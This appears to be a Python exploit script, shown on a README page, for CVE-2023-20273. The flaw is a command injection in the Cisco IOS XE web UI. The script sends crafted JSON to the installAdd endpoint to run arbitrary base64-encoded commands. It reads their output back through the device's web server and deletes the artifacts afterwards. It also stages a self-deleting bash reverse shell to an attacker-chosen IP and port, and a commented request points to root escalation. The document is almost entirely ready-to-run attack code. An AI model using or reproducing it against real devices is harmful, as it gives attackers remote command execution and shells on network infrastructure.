README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import argparse
import ipaddress
import logging
import logging.config
import urllib3
import string
import random
from base64 import b64encode, b64decode
from requests.auth import HTTPBasicAuth
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
# PoC for CVE-2023-20273
# This was written during an engagement with a client, so there wasn't a variety of testing targets
# tested and confirmed working on the following:
# Client Guinea Pig: Catalast C9200L C9200L-24P-4G 16.12.4 CAT9K_LITE_IOSXE ARM64
# AWS AMI Instance: Catalyst C8000V 17.4.2 X86_64_LINUX_IOSD-UNIVERSALK9-M VXE
# I had other versions in my client network (confirmed vulnerable to CVE-2023-20198) where i got response 200 from posting JSON pocs, but could never confirm command execution
# notably on these, they all had 0 space available on flash: until i tried deleting a really old IOS XE image
# on one of these hosts that i tried rebooting, the space available on flash: went up to a normal/reasonable level after rebooting, however it went back to 0 space available shortly after the reboot until i deleted an ancient IOS XE image
# I suspect that if these are vulnerable to CVE-2023-20273, their filesystems are in a perpetually "stuck" state or the filesystem mappings are not the same as the ones i successfully exploited (ie flash: and bootflash: under the hood are symlinked as /flash and /bootflash to a mounted flash storage device
# on all observed hosts, crashinfo: had plenty of space and was mounted rw. only on the confirmed exploited host though was i able to write a file to this mount through the poc
# unconfirmed host details:
# C9200L-48P-4G CAT9K_LITE_IOSXE 17.6.4
# C9200L-48P-4G CAT9K_LITE_IOSXE 17.6.5
# C9200L-48P-4G CAT9K_LITE_IOSXE 17.6.4
# i still dont really know what im doing with loggers
# the requests library creates loggers when classes are instantiated. below prevents requests from spitting out its debug log when setting this scripts logger to debug
logging.config.dictConfig({'version': 1, 'disable_existing_loggers': True})
# print wrappers for verbosity
printi = logging.info
printv = logging.debug
printe = logging.error
# scheme check for requests
sHttp = "http://"
sHttps = "https://"
# general replace strings
rTmpCmd = "<TMPEXECCMD>"
rTmpPath = "<TMPFILEPATH>"
rTmpFs = "<TMPFILESYSTEM>"
rTmpOp = "<TMPOPERATION>"
rTmpIP = "<TMPIPV6>"
# general defaults
defExPath = "shellsmoke"
defExFs = "flash"
defExOp = "SMU"
defExIP = "1000:1000:1000"
# replace strings for shell
rTmpShIP = "<TMPRSHELLIP>"
rTmpShPort = "<TMPRSHELLPORT>"
# self deleting
tmpRevShell = "#!/bin/bash\nrm -f $0\nbash -i >& /dev/tcp/<TMPRSHELLIP>/<TMPRSHELLPORT> 0>&1\n"
# replace strings for base64 exec
rTmpB64 = "<TMPB64CMD>"
tmpB64dCmd = "$(openssl enc -base64 -d <<< <TMPB64CMD>)"
tmpB64dWrite = "$(openssl enc -base64 -d -out <TMPWRITEOUT> <<< <TMPB64CMD>)"
# replace strings for command output
rWriteOut = "<TMPWRITEOUT>"
tmpWriteOutWeb = " &> /var/www/<TMPWRITEOUT>"
tmpWriteOutTcp = "$(openssl enc -base64 -d -out <TMPWRITEOUT> <<< <TMPB64CMD>)"
tmpWriteOutShell = "$(openssl enc -base64 -d -out <TMPWRITEOUT> <<< <TMPB64CMD>)"
# replace string for reverse shell exec
# found this in the metasploit module
# i dont know exactly who discovered this, but they're an mvp for figuring out how to get traffic to route back through the VRF
# the msf module should be updated to reflect that VRFs in the running config do not (always?) work
# reverse shell and tcp output delivery would be trivial if i could figure out a good way of stuffing them into the map_chvrf.sh command
# alas, im left with half a dozen string replacements instead
tmpShellExec = "/usr/binos/conf/mcp_chvrf.sh global sh <TMPWRITEOUT>"
# PoC JSON for CVE-2023-20273 with replace strings
exTmpJson = """{"mode":"tftp",
"installMethod":"tftp",
"ipaddress":"<TMPIPV6>:$(<TMPEXECCMD>)",
"operation_type":"<TMPOPERATION>",
"filePath":"<TMPFILEPATH>",
"fileSystem":"<TMPFILESYSTEM>:"}
"""
# Cisco WebUI URIs + skiddie user-agent detection
exUri = "/webui/rest/softwareMgmt/installAdd"
exOutFileURI = "/webui/"
exHead = {'User-Agent': 'CVE-2023-20273'}
# banners are cool, am i real boy now?
# source: https://patorjk.com/software/taag/
# font: slant
banner = '''
_______ ________ ___ ____ ___ _____ ___ ____ ___ __________
/ ____/ | / / ____/ |__ \ / __ \__ \|__ / |__ \ / __ \__ \/__ /__ /
/ / | | / / __/________/ // / / /_/ / /_ <________/ // / / /_/ / / / /_ <
/ /___ | |/ / /__/_____/ __// /_/ / __/___/ /_____/ __// /_/ / __/ / /___/ /
\____/ |___/_____/ /____/\____/____/____/__ /____/\____/____/ /_//____/
_____/ /_ ___ / / /________ ___ ____ / /_____
/ ___/ __ \/ _ \/ / / ___/ __ `__ \/ __ \/ //_/ _ \
(__ ) / / / __/ / (__ ) / / / / / /_/ / ,< / __/
/____/_/ /_/\___/_/_/____/_/ /_/ /_/\____/_/|_|\___/
'''
# stackoverflow for the W
def randString(size=8, chars=string.ascii_uppercase + string.ascii_lowercase + string.digits):
return ''.join(random.choice(chars) for _ in range(size))
def parseArgs():
ap = argparse.ArgumentParser(description='CVE-2023-20273 Exploit PoC', formatter_class=lambda prog: argparse.HelpFormatter(prog,max_help_position=50))
# mandatory
# groupTarget
gT = ap.add_argument_group('Target options', '[Mandatory] Target arguments')
gT.add_argument('-t', '--url', dest='cUrl', metavar='URL', action='store', required=True, help='Target Cisco URL (eg https://192.168.1.1 or http://192.168.2.2:8080)')
gT.add_argument('-u', '--user', dest='cUser', metavar='Username', action='store', required=True, help='Cisco webui user name')
gT.add_argument('-p', '--pass', dest='cPass', metavar='Password', action='store', required=True, help='Cisco webui user pass')
# run mode
# groupExec
groupExec = ap.add_argument_group('Exploit mode', '[Mandatory] Exec command or reverse shell')
gE = groupExec.add_mutually_exclusive_group(required=True)
gE.add_argument('-c', dest='exCmd', metavar='Command', action='store', help='Command to run')
gE.add_argument('-r', dest='exShell', action='store_true', help='Reverse shell (requires -ip and -port)')
# output methods
# groupOutput
groupOutput = ap.add_argument_group('Output Options', '[Optional] Command output options')
groupOutput.add_argument('-dest', dest='oDest', metavar='Outfile', action='store', help='[-r | -www | -tcp] destination file (default: random)')
gO = groupOutput.add_mutually_exclusive_group()
gO.add_argument('-www', dest='oWeb', action='store_true', help='[Default] Attempt to retrieve output via target web server')
gO.add_argument('-tcp', dest='oTcp', action='store_true', help='[Not implemented] Attempt to send output to a TCP listener (requires -ip and -port)')
gO.add_argument('-null', dest='oNull', action='store_true', help='Do not attempt to get command output')
# shell/cmd output
# groupLocal
gL = ap.add_argument_group('Callback Options', 'For reverse shell or command output')
gL.add_argument('-ip', dest='lHost', metavar='LocalIP', action='store', help='Local IP for reverse shell/command output')
gL.add_argument('-port', dest='lPort', metavar='LocalPort', action='store', type=int, help='Local port for reverse shell/command output')
# misc exploit options
# groupMisc
gM = ap.add_argument_group('Exploit options', '[Not implemented] Exploit modifiers')
gM.add_argument('-fs', dest='mFs', metavar='filesystem', action='store', help='Filesystem on target for exploit staging (default: flash)')
gM.add_argument('-path', dest='mPath', metavar='filepath', action='store', help='Filepath on target filesystem for exploit staging (default: shellsmoke)')
gM.add_argument('-operation', dest='mOp', metavar='operation_type', action='store', help='Install operation type (not currently implemented) (default: SMU)')
# verbose
# groupVerbose
gV = ap.add_argument_group('Verbosity control')
gV.add_argument('-v', dest='verbose', action='store_true', help='Verbose output')
gV.add_argument('-q', dest='quiet', action='store_true', help='Suppress Banner')
args = ap.parse_args()
# handle verbosity
if args.verbose:
logging.basicConfig(level=logging.DEBUG, format="%(message)s")
#logger.setLevel(logging.DEBUG)
else:
logging.basicConfig(level=logging.INFO, format="%(message)s")
#logger.setLevel(logging.INFO)
if args.quiet:
quiet = True
else:
quiet = False
# theres not a way to differentiate between exclusive argument groups without building a more complex parser
# -r is not compatible with output options
if args.exShell and (args.oWeb or args.oTcp):
printe("-r is not compatible with -www or -tcp")
# build arg variables in clusters. each set will be stored in a list
# in hindsight, this probably made my life harder. i'll probably go back to runset option grouping like with CVE-2023-20198
cUrl = args.cUrl
cUser = args.cUser
cPass = args.cPass
# quick check for scheme in url
if (not sHttp in cUrl) and (not sHttps in cUrl):
printe(f"{cUrl} is missing a scheme!")
printe("add http:// or https:// to the url and try again")
exit(1)
# target details
lTgt = [cUrl, cUser, cPass]
if args.lHost:
lHost = args.lHost
else:
lHost = None
if args.lPort:
lPort = args.lPort
else:
lPort = None
# exploit details
if args.exCmd:
exMode = "exec"
exCmd = args.exCmd
lExp = [exMode, exCmd]
elif args.exShell:
if (lHost or lPort) == None:
printe('-r requires -ip and -port!')
exit(1)
else:
exMode = "shell"
lExp = [exMode, lHost, lPort]
# output
# add oDest to all run modes
if args.oDest:
oDest = args.oDest
else:
oDest = None
# add oDest to shell. specify the type is "shell" for later use
# rev shell is special so separate it from the rest
if args.exShell:
exOut = "shell"
lOut = [exOut, oDest]
else:
if args.oTcp:
if (lHost == None) or (lPort == None):
printe('-tcp requires -ip and -port!')
exit(1)
else:
exOut = "tcp"
# add oDest to oTcp
lOut = [exOut, oDest, lHost, lPort]
elif args.oWeb:
exOut = "www"
lOut = [exOut, oDest]
if args.oNull:
exOut = None
oDest = None
lOut = [exOut, oDest]
# default exec mode to www
else:
exOut = "www"
lOut = [exOut, oDest]
# misc. i put these in as placeholders for future research on the installAdd api endpoint
if args.mFs:
mFs = args.mFs
else:
mFs = None
if args.mPath:
mPath = args.mPath
else:
mPath = None
if args.mOp:
mOp = args.mOp
else:
mOp = None
lMisc = [mFs, mPath, mOp]
return lTgt, lExp, lOut, quiet
def modExploit(lTgt, lExp, lOut):
# run modCommand first. modCommand is here instead of main so i dont need to worry as much about function arguments
modCmd, exOutFile = modCommand(lExp, lOut)
# now modify the exploit json
modEx = exTmpJson.replace(rTmpIP, defExIP)
modEx = modEx.replace(rTmpOp, defExOp)
modEx = modEx.replace(rTmpPath, defExPath)
modEx = modEx.replace(rTmpFs, defExFs)
modEx = modEx.replace(rTmpCmd, modCmd)
printv("Generated initial exploit JSON\n")
return modEx, exOutFile
def modCommand(lExp, lOut):
# first: b64 encode the commands
if lExp[0] == "exec":
tmpCmd = lExp[1]
# base64, y r u liek dis
encCmd = str(b64encode(tmpCmd.encode('utf-8')), 'utf-8')
elif lExp[0] == "shell":
# insert IP and port into bash rev shell
tRevShell = tmpRevShell.replace(rTmpShIP, lExp[1]).replace(rTmpShPort, str(lExp[2]))
printv(f"Rev shell command:\t\t{tRevShell}")
encCmd = str(b64encode(tRevShell.encode('utf-8')), 'utf-8')
# second: determine the command output
# www gets stdout+stderr redirection to exOutFile in the modCmd
# $(openssl enc -base64 -d <<< <TMPB64CMD>)
if lOut[0] == "www":
if lOut[1]:
exOutFile = lOut[1]
else:
exOutFile = randString()
# when checking output with -www, add redirection to exOutFile in modCmd
# " &> /var/www/<TMPWRITEOUT>"
cmdWriteOut = tmpWriteOutWeb.replace(rWriteOut, exOutFile)
modCmd = tmpB64dCmd.replace(rTmpB64, encCmd)
if cmdWriteOut:
modCmd += cmdWriteOut
# shell gets the exOutFile placed in command as -out <TMPWRITEOUT>
# $(openssl enc -base64 -d -out <TMPWRITEOUT> <<< <TMPB64CMD>)
elif lOut[0] == "shell":
if lOut[1]:
exOutFile = lOut[1]
else:
exOutFile = "/tmp/{}".format(randString())
# do a double replace on tmpWriteOutShell (above openssl cmd) to insert both the output file and b64 encoded command
modCmd = tmpWriteOutShell.replace(rWriteOut, exOutFile).replace(rTmpB64, encCmd)
# if exec and no output file, like exec stage 3 and shell stages 2+3, return just the base64 encoded command as modCmd and null exOutFile
elif (lExp[0] == "exec") and (not lOut[0]):
modCmd = tmpB64dCmd.replace(rTmpB64, encCmd)
#modCmd = tmpCmd
exOutFile = None
return modCmd, exOutFile
# always go through exStage1 to perform command injection
def exStage1(lTgt, modEx):
# clean up user supplied url and add the api endpoint
exUrl = lTgt[0].strip('/') + exUri
# this isn't necessary, but i can reuse it for all future requests. this should go into main or something
exAuth = HTTPBasicAuth(lTgt[1], lTgt[2])
print("Beginning Exploit Stage 1")
print(f"Target Login Username:\t\t{lTgt[1]}")
print(f"Target Login Password:\t\t{lTgt[2]}")
print(f"Exploit URL:\t\t\t{exUrl}")
print(f"Sending Malicious JSON")
printv('')
printv(modEx)
try:
r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modEx, verify=False)
retStage1 = r.status_code
if retStage1 == 200:
print("Got a 200 from target webserver, looks good")
print()
else:
# error printing for unexpected/unintended responses
printe("Something went wrong:")
printe(f"HTTP Response:\t{r.status_code}")
printe("Body:")
printe(str(r.content, 'utf-8'))
# generic exception catch. as exceptions are encountered, these will be expanded to provide better user feedback on errors
except Exception as e:
printe(e)
retStage1 = False
return exUrl, exAuth, retStage1
# stage2 for exec is collecting command output
def execStage2(lTgt, lOut, exOutFile, exAuth):
if exOutFile:
# cleanup user supplied url and add the exOutFile for retrieving command output
exOutFileUrl = lTgt[0].strip('/') + exOutFileURI + exOutFile
print("Starting EXEC Stage 2")
print("Command should have executed, attempting to retrieve output")
print("Letting the dust settle for a couple seconds")
sleep(3)
print('')
print(f"Requesting:\t\t\t{exOutFileUrl}")
try:
r = requests.get(exOutFileUrl, auth=exAuth, headers=exHead, verify=False)
retExecStage2 = r.status_code
if retExecStage2 == 200:
print("Retrieval of command output looks successful:\n")
print(str(r.content, 'utf-8'))
print('')
return True, exOutFileUrl
else:
printe("Something went wrong:")
printe(f"HTTP Response:\t{retExecStage2}")
printe(str(r.content, 'utf-8'))
printe('')
return False, exOutFileUrl
except Exception as e:
printe(e)
return False
else:
# generic placeholder for else. will expand this in the future
exOutFileUrl = None
return True, exOutFileUrl
# stage3 for exec is cleanup
def execStage3(lTgt, lExp, exUrl, exOutFile, exOutFileUrl, exAuth):
exRmFile = f"rm /var/www/{exOutFile}"
# modify the lExp command [1] for running cleanup
lExp[1] = exRmFile
print("Starting EXEC Stage 3")
print("Preparing to cleanup artifacts by re-exploiting")
print(f"Generating new JSON to clean:\t{exOutFile}")
print(f"New unencoded command:\t\t{exRmFile}")
# pigeonholed myself pretty early with the group lists
# clever way of getting around this bad coding is to pass None as the lOut
# exOutFile is always returned by modExploit, so we need something to hold the return value
# it isn't returned by this function so changing it here has no impact on other functions
modExClean, exOutFileNull = modExploit(lTgt, lExp, [None])
print(f"Sending new JSON for cleanup")
printv(modExClean)
try:
r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modExClean, verify=False)
retExecStage3 = r.status_code
if retExecStage3 == 200:
print("Exploit for cleanup appears to have worked")
else:
printe("sumn went wrong here")
printe(f"HTTP Response:\t{retExecStage3}")
printe("Body:")
printe(str(r.content, 'utf-8'))
printe('')
return False
except Exception as e:
printe("Something went wrong")
printe(e)
return False
# the web server response indicates that the command was executed successfully, but theres no direct command output from the exploit
# to verify the artifact was cleaned, perform another request to exOutFileUrl
if retExecStage3 == 200:
print("hol up, just need a sec here\n")
sleep(3)
print("Verifying cleanup was successful")
print(f"Requesting:\t\t\t{exOutFileUrl}")
try:
r = requests.get(exOutFileUrl, auth=exAuth, headers=exHead, verify=False)
retExecStage3Clean = r.status_code
# 404 not found is good, anything else is bad
if retExecStage3Clean == 404:
print(f"Got a 404 on {exOutFileUrl}")
print("Thats a good thing")
print("Cleanup appears successful")
return True
elif retExecStage3Clean == 200:
printe("Uh oh.")
printe("Got a 200. Not a good sign")
printe("Request response body:")
printe(str(r.content, 'utf-8'))
printe('')
return False
else:
printe("something WEIRD happened")
printe("better check it out")
printe(f"HTTP Response:\t{retExecStage3Clean}")
printe("Request response body:")
printe(str(r.content, 'utf-8'))
printe('')
return False
except Exception as e:
printe(":( an air-or")
printe(e)
return False
# stage2 for shell is chmod
def shellStage2(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth):
print("Starting SHELL Stage 2")
print("Generating new exploit JSON for chmod")
exChmod = f"chmod +x {exOutFile}"
# just like exec stage3, re-exploit. this time running chmod on the script
# we want to run modExploit as an exec with no output
chExp = ["exec", exChmod]
modExChmod, exOutFile = modExploit(lTgt, chExp, [None])
print("Waiting a second before continuing")
sleep(3)
print("Sending new JSON for chmod")
printv('')
printv(modExChmod)
# now that we have a new exploit json, send it to the target
try:
r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modExChmod, verify=False)
retShellStage2 = r.status_code
if retShellStage2 == 200:
print("Got a 200 from the server. chmod success\n")
return True
else:
printe("bad stuff")
printe("better check it out")
printe(f"Requested URL:\t{exUrl}")
printe(f"HTTP Response:\t{retShellStage2}")
printe("Request response body:")
printe(str(r.content, 'utf-8'))
printe('')
return False
except Exception as e:
printe("whoops. that wasnt supposed to happen:")
printe(e)
return False
# stage3 for shell is execute
def shellStage3(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth):
print("Starting SHELL Stage 3")
print("Generating new JSON for exec")
# in theory this is a simple rinse and repeat from stage 2 for executing
exShellExec = tmpShellExec.replace(rWriteOut, exOutFile)
shExp = ["exec", exShellExec]
# run modExploit as an exec with no output
modExShellExec, exOutFile = modExploit(lTgt, shExp, [None])
printv(modExShellExec)
print("One last sleep before kicking off the reverse shell")
sleep(3)
printv('')
print("Sending new JSON for exec")
printv(modExShellExec)
printv('')
try:
r = requests.post(exUrl, auth=exAuth, headers=exHead, data=modExShellExec, verify=False)
retShellStage3 = r.status_code
if retShellStage3 == 200:
print("Exploit should have succeeded and rshell script auto-deleted")
print("Check your listener for a shell")
return True
else:
printe("There was an error trying to execute the script:")
printe(f"Requested URL:\t{exUrl}")
printe(f"HTTP Response:\t{retShellStage3}")
printe("Request response body:")
printe(str(r.content, 'utf-8'))
printe('')
return False
except Exception as e:
printe("there was an error trying to execute the script:")
printe(e)
return False
def main():
lTgt, lExp, lOut, quiet = parseArgs()
# babbys first banner
# i add an option to suppress because im not an asshole
if not quiet:
print(banner)
print(f"Running in {lExp[0].upper()} mode")
print(f"Target Base URL:\t\t{lTgt[0]}")
print(f"Generating exploit JSON")
modEx, exOutFile = modExploit(lTgt, lExp, lOut)
# exec mode -> ["exec", exCmd]
if lExp[0] == "exec":
print(f"Unencoded Command:\t\t{lExp[1]}")
#print(f"Base64 Encoded Command:\t\t{modCmd}")
if exOutFile:
print(f"Command output file:\t\t{exOutFile}")
else:
print("Command output will not be saved and retrieved")
# shell mode -> ["shell", lHost, lPort]
elif lExp[0] == "shell":
print(f"Reverse Shell Listener Host:\t{lExp[1]}")
print(f"Reverse Shell Listener Port:\t{lExp[2]}")
print('')
exUrl, exAuth, retStage1 = exStage1(lTgt, modEx)
# we can reuse the return values from the functions with the run mode to control the flow of execution
if retStage1 == 200:
if lExp[0] == "exec":
retStage2, exOutFileUrl = execStage2(lTgt, lOut, exOutFile, exAuth)
elif lExp[0] == "shell":
retStage2 = shellStage2(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth)
else:
printe("STAGE 1 FAIL")
if retStage2:
if lExp[0] == "exec":
retStage3 = execStage3(lTgt, lExp, exUrl, exOutFile, exOutFileUrl, exAuth)
elif lExp[0] == "shell":
retStage3 = shellStage3(lTgt, lExp, lOut, modEx, exOutFile, exUrl, exAuth)
return
else:
printe("STAGE 2 FAIL")
if __name__ == "__main__":
main()
# privesc to root
# https://blog.leakix.net/2023/10/cisco-root-privesc/
# https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf
'''
POST /webui/rest/softwareMgmt/installAdd HTTP/1.1
Host: 10.0.0.1
Content-Length: 42
Cookie: Auth=<cookie from valid auth>
X-Csrf-Token: <token from /webui/rest/getDeviceCapability>
{"installMethod":"tftp","ipaddress":"1000:1000:1000: $(echo hello world > /var/www/hello.html)","operation_type":"SMU","filePath":"test","fileSystem":"flash:"}
'''
# more:
# https://www.picussecurity.com/resource/blog/cve-2023-20198-actively-exploited-cisco-ios-xe-zero-day-vulnerability
# https://www.tenable.com/blog/cve-2023-20198-zero-day-vulnerability-in-cisco-ios-xe-exploited-in-the-wild
# https://twitter.com/leak_ix/status/1718323987623633035